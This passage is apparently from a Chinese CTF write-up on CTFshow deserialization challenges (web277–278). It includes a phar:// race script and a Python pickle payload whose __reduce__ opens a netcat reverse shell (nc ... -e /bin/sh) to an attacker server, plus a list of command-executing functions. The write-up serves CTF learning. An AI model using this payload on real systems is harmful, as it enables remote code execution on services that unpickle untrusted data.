def read():
    global flag
    r = requests.post(url+"?fn=phar://evil.phar/", data="")
    if "ctfshow{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()

需要base64解码

此部分引用了tari tari师傅的博客

https://tari.moe/2021/04/06/ctfshow-unserialize/

Python反序列化

web277

通过wappalyzer,可知题目使用了 flask 框架

image-20211012150910072

关于 Python 反序列化可以看这篇文章,LINK1LINK2,关于 Python 反序列化的做法真的很多,和 PHP 反序列化也是要难些

在 HTML 源码中可以发现提示

image-20211012193448232

无回显,反弹shell

poc,替换其中的IP

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

在 vps 上监听对应端口

image-20211012194551659

带参数访问即可

web278-过滤了os.system

提示:过滤了os.system

使用上题poc即可

python 可以执行命令的函数

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

这也只是 Python 反序列化基础,路漫漫其修远兮

参考链接

https://blog.csdn.net/miuzzx/article/details/110558192

https://tari.moe/2021/04/06/ctfshow-unserialize/

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159367.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • linux的iptables和firewall的区别

    linux的iptables和firewall的区别

    2021年10月19日
  • 垂直同步、三重缓冲、freesync

    垂直同步、三重缓冲、freesync一、垂直同步60Hz显示器,开启垂直同步后,就会锁60了;作用:1、解决画面撕裂现象,不会出现缓冲没画完被复写的情况;2、解决错帧现象;游戏更流畅;3、强制每帧间隔完全一样,这样因为帧生成时间不平滑导致的不流畅也会解决弊端:鼠标反馈,移动鼠标,电脑收到消息把移动鼠标输出给显卡,显卡收到后把鼠标移动画面输出给显示器,所有请求不会被延后,延迟只是电路延迟。但开启垂直同步,显卡绘制完后缓冲后,显示器还没有显示器完前缓冲,显卡等着,鼠标移动指令和显卡一起等着,直到显示…

  • ffmpeg安装教程win10_nginx菜鸟教程

    ffmpeg安装教程win10_nginx菜鸟教程简述作为一个计算机方面的小白,对ffmpeg其实没多少了解,只是因为在合并音频和视频要使用到ffmpeg这个工具,所以才下载下来,所以就是一个简单的安装教程。话不多说开始安装吧。下载百度网盘可能有兄弟访问github不是很给力,直接下载这个也是可以的链接:https://pan.baidu.com/s/1Z7VkOv-_PAub6OfDkyly4Q提取码:yj5e官网下载来到官网下载点击跳转来到下载主页点击这个进入github,找到资源下载即可下载这个也可以,我下载的时候出现了很

  • C# ManualResetEvent

    C# ManualResetEvent原文链接http://dotnetpattern.com/threading-manualreseteventManualResetEvent和AutoResetEvent一样,是另外一种.NET线程同步技术。ManualResetEvent被用于在两个或多个线程间进行线程信号发送。多个线程可以通过调用ManualResetEvent对象的WaitOne方法进入等待或阻塞状态。当…

  • 修改pycharm镜像源「建议收藏」

    修改pycharm镜像源「建议收藏」国内的镜像源地址:阿里云:http://mirrors.aliyun.com/pypi/simple/中国科技大学:https://mirrors.bfsu.edu.cn/pypi/web/simple/豆瓣:http://pypi.doubanio.com/simple/清华:https://pypi.tuna.tsinghua.edu.cn/simple/网易:https://mirrors.163.com/pypi/simple/在pycharm中配置镜像源地址:…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号